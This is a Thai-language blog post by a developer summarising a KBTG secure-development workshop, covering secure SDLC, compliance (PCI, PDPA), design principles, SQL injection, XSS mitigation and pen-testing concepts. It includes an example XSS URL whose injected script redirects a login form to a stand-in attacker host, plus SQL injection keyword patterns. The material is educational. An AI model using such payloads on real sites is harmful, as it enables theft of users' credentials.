สรุป Hacker Game Workshop: Surviving your app in the cruel world by KBTG

งานนี้ผมเข้ามาแบบงงๆ นะครับ พอดีมีคนแชร์ลิงค์เค้ามาครับ เลยเข้ามาในฐานศิษย์เก่า ป.โท มาฟังและมีสรุป Blog เล็กน้อยๆกันครับ

• การทำให้ Application ปลอดภัยต้องเริ่มตั้งแต่ตอนออกแบบระบบ (Secured by Design)
• ภัยคุกคามส่วนใหญ่มาจากโลก Online มาขึ้น Web Application ในส่วนที่สำคัญ เช่น การเงิน

Secure SDLC

• Planning: Training ให้ / Security Requirement / ที่สำคัญดูกฏด้วย เช่น BOT กลต
• Design: ทำ Thread Modeling / Standard ที่เกี่ยวข้อง / Review Arch
• Implement: Review Tool Libs ที่ใช้กับ / Static Code Analysis
• Testing: Dynamic Analysis / Pen Test / Risk Assessment
• Deployment: ซักซ้อมวางแผน จัดการเหตุ / Secure Config ไม่ใช่ค่า Default / Secure Monitoring

DevSecOps

• Security มันทำให้ Automatic ได้จาก Build Pipeline ช่วยลดงานที่ Manual ลงได้

Define Security Requirement

• Check List ทั้งสามารถพัฒนาออกมาเป็น Framework หรือ Standard ขององค์กร เราสามารถเอาที่สิ่งทำมา revise / reuse (พวกมาฟังถึง Session สุดท้ายแล้ว มันมีใน OWASP Web Security Testing Guide V4.2)
  • Authentication
  • Session Management
  • Access Control
  • Validation > Common + Business Logic
  • Cryptography
  • Error Handling + Logging and Auditing
  • Data Protection
  • Communication
  • Configuration - พวกการตั้งค่าของ Software พวก OS / Runtime ผมคิดว่าน่าจะเป็นพวกทำ Hardening
• โดยตัว Check List ข้างต้นมีมาตรฐานต่างๆ เข้ามาช่วยเป็น Guideline OWASP / ISO27001 / NIST / CIS … หรือในไทยของ BOT / กลต.

Define Regulatory Compliance Requirement

สำหรับมา Regulatory Compliance มีหลายค่ายกำหนด ถ้ายกตัวอย่างระบบที่มีการตัดเงินมีสิ่งที่สนใจเบื้องต้น ดังนี้

• PCI Security Compliance โดยมีมาตรฐานย่อยๆ ดังนี้
  • PCI PTS ของโรงงานที่ทำอุปกรณ์ด้านที่เกี่ยวกับการเงิน เช่น เครื่องรูดบัตร
  • PCI PA-DSS ของ Developer ในการ Coding
  • PCI DSS ของบริษัทที่ใช้ระบบที่ต้องตัดเงิน อย่างเช่น Online Shopping ต้องเข้ามาตรฐานนี้
  • Note: PCI Data Security Standard บอกว่า Data ไหนควรเป็นอย่างไร เช่น เลขบัตร (Primary Account Number) ยอมให้ระบบจัดเก็บได้ แต่ต้องมีการ Encrypt หรือ Mask ข้อมูล ส่วนเลข
• PDPA การจัดการข้อมูลส่วนบุคคล ตัว Application ออกแบบให้รองรับการอนุญาติ (Consent) หรือ การลบข้อมูล
  • Personally Identifiable Information (PII) ข้อมูลที่ระบุตัวตนบุคคลได้ทั้งทางตรง และทางอ้อมข้อมูล
  • Sensitive Personal Data ข้อมูลส่วนบุคคลที่เป็นข้อมูลอ่อนไหว เช่น เชื้อชาติ ความเห็นทางการเมือง ข้อมูลสุขภาพ เป็นต้น
  • Note: ถ้าไปทำระบบที่ต่างประเทศต้องดูกฏหมายด้วย เช่น ยุโรป มี GDPR

Establish Secure Design Principle

มีหลายอัน ตัวหลักๆที่สำคัญก็มี

• Keep Security Simple : ทำให้ง่าย ถ้ายุ่งไป User จะไม่ใช่ระบบ
• Defense in depth : มีหลายด่านป้องกันระบบ ทั้ง HW / SW เช่น การ Login นอกจาก Username + Password มีพวก Captcha
• Establish Secure Default : เปิด Security เป็นค่าตั้งต้น เช่น Default เปิด 2FA
• Resilience : ทำยังไงให้ระบบทนทาน (Tolerate) และถ้าโดนโจมตีแล้ว ทำอย่างไงให้ระบบฟื้นตัวเร็วที่สุด

Define and Use Security Standard Component

• หลักๆเลย เรื่อง Cryptography ใช้ของที่มันมีมาตรฐาน ลดเวลา มาตรฐาน มีความปลอดภัยเวลา Implement อาจจะทำเป็น Common Library เผื่อมีการแก้ไขในอนาคตก็า่ท่ีถแก้ไขที่จุดเดียว โดยมีมาตรฐานที่แนะนำ
  • NIST 800-57 แนะนำ Cryptography
  • NIST 800-52 Revision2 แนะนำ TLS Implementations
• SSL + TLS เราสามารถตรวจได้ว่าระบบพร้อมไหม มีการ Config ที่เหมาะสม หรือไม่ สามรถใช้เว็บ SSL Server Test (Powered by Qualys SSL Labs) เพื่อทดสอบ แต่ต้องระวังเลือก Do not show the results on the boards เดี๋ยวผล Scan ถูก publish

Secure Coding

• CWE บอก Security ที่ทำผิดประจำกันได้ ถ้ามีหลุดสักข้อทำให้ระบบมีปัญหาได้

- SQL Injection

• ใส่ SQL จาก Input ที่ไ่ม่มีการ Filter โดยเป็น SQL ที่ถูกต้อง Run ได้ แต่ไม่ใช่การทำงานตามปกติ ทำให้ข้อมูลหลุด / ข้อมูลเสียหายได้

• Mitigation: ทำ Sanitize Input กรองอักขระแปลก เช่น ' & หรือ OR 1=1 หรือ UNION SELECT เป็นต้น โดยมีตัวช่วยจากดีสุด ไปแย่สุด
  • ทำ prepared statement เป็น Feature ของภาษาใหม่ที่ช่วยกรอง Input เป็น Parameter ตัดคำสั่งออกไป
  • Stored Procedures เป็น Feature ของ DBMS ที่ช่วย
  • Allow-List Validation ไม่เอา Input จาก User แต่ใช่วิธีการ Mapping จาก Request ส่งมาเป็น Category เราดัก IF แล้วไป Replace อีกคำ
  • Input White List ใช้ Regular Expression เข้ามาช่วย งานถึก
• ถ้าอยากทดสอบมี Tool
  • ของ OWASP ที่ชื่อ OWASP WebGoat / GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA) ที่มีหัวข้อ SQL Injection ให้ลองทดสอบกันด้วย
  • Web Security Academy: Free Online Training from PortSwigger
  • ถ้าหาช่องโหว่ ไม่ต้องคิด SQL มากมาย มี Keyword "sql injection cheat sheet" เช่น MySQL SQL Injection Cheat Sheet | pentestmonkey

- CROSS-SITE SCRIPTING (XSS)

• เอา URL ที่มีช่องโหว่ไปให้คนอื่น โดยทำ Link เว็บจริง เมื่อกรอกข้อมูลแล้วมันส่งไปเว็บหลอก เคสนี้จะส่งไปให้เว็บ bad.com แทน

https://testmoney.com/login.do?_id=h/1c91j2bmxmi1fDHaozJ1snNsq&msg-
<script>document.forms[0].action="https:/bad.com/saveData.php"</script>

• แทรก Script เพื่อให้มัน Render จาก Input ที่ไม่ได้กรอง คล้ายๆกับ SQL Injection และส่ง Link ของเว็บที่แก้ไขแล้วไปให้เหยื่อกรอกข้อมูล แม้ว่ามี https ตรวจสอบยากนะ

• Mitigation:
  • Library มีการกันนะ แต่ต้องเลือกใช้ให้ถูก อย่าง jQuery ต้องใช้ .text() ถ้า .html() มันจะ render หน้าเว็บแทน หรือใช้ HTML Encode
  • Input White List ใช้ Regular Expression เข้ามาช่วย
• มาฟังวันนี้แล้ว เข้าใจเรื่อง Link ใน Facebook ที่หลอกให้ click เลย

Static Code Analyst and Secure Code Review

• Source Code Security Scanning เป็น Automate Tools ที่หากข้อผิดพลาดตาม Rule ที่กำหนดได้ อาจจะดูจาก CWE แต่เครื่องมือมันจะไม่รู้นะ ถ้ามันพลาดจาก Business Logic
• ถ้าอยากทดสอบมี Tool https://sonarcloud.io/ (SonarQube บน Cloud) ที่ช่วย Scan Code ได้

Dynamic Analysis & Penetration Testing

• Firewall เป็นเครื่องมือหนึ่งที่ช่วยชะลอการโจมตีจาก Attacker ได้
• จากหน้าเว็บ 1 เว็บ Attacker มีแนวทางได้หลายจุด
• ในระหว่าง Project หลายอย่างไม่ได้ถูกกำหนดไว้ตั้งแต่ Requirement อาจจะขอเพิ่มตอนพัฒนา / UAT / Go-live ไปแล้ว มันมีการเพิ่ม Feature บนนั้น แต่อาจจะลืมไปว่ามันจะมี Security Issue เนียนเข้ามาด้วยนะ
• Penetration Testing คิดแบบ Attacker เพื่อเจาะระบบ โดยอาจจะ Example Case ที่คนทั่วไปมองว่าปกติ แต่ Attacker มองว่าเป็นโอกาศในการโจมตี
  • เว็บ Download ปกติจะเอาไฟล์ทั่วไปที่มี แต่ Attacker จะเอา Code ของเว็บนั้น
  • SQL Injection
  • เว็บที่ไม่ป้องกันการ List Directory มันจะทำได้ข้อมูล เอกสาร หรือแม้แต่ Backup Database
  • หน้า Default Page ของ Web Server เช่น Apache / PHP Info ตรงนี้ทำให้ได้ข้อมูลของ Software และ OS ที่ใช้ Run
  • Sensitive Data จาก Comment ของ Source Code
  • robots.txt มันเอาไว้บอก path ที่ไม่ให้ Search Engine เข้ามา Craw ข้อมูล แต่ Attacker เอาไว้ใช้
  • Error & Stack Trace
• Secure software Principle : รู้เขารู้เรา
• Software Testing
  • Active (Tool Scan) / Passive (Code Review )
  • Functional Test (Business) != Security Test
• VA รู้ว่ามีจุดอ่อนอะไร / Pen Test เจาะระบบ
• OWASP Testing Framework
• OWASP Testing Guide หนังสือที่ช่วย Guide ในการทดสอบด้าน Security Testing ปีหน้าออก 5.0 และ
• Tool OWASP ZAP เพิ่มรู้ว่ามันสามารถไปดัก Request จาก Browser ได้ด้วย ปกติสร้าง Request อย่างเดียว

สำหรับผม การเข้ามาฟัง Session นี้ ทำให้เข้าใจตัว CROSS-SITE SCRIPTING (XSS) ตัวเองเป็น Dev รู้วิธีป้องกัน หรือ Fixed ตามที่ทีม Security ของลูกค้าตรวจสอบมา แต่ไม่เคยเข้าใจการนำไปว่าทำไมมันถึงรุนแรงได้ วันนี้ได้เห็น Demo Lab แล้วเข้าใจขึ้นมากเลยครับ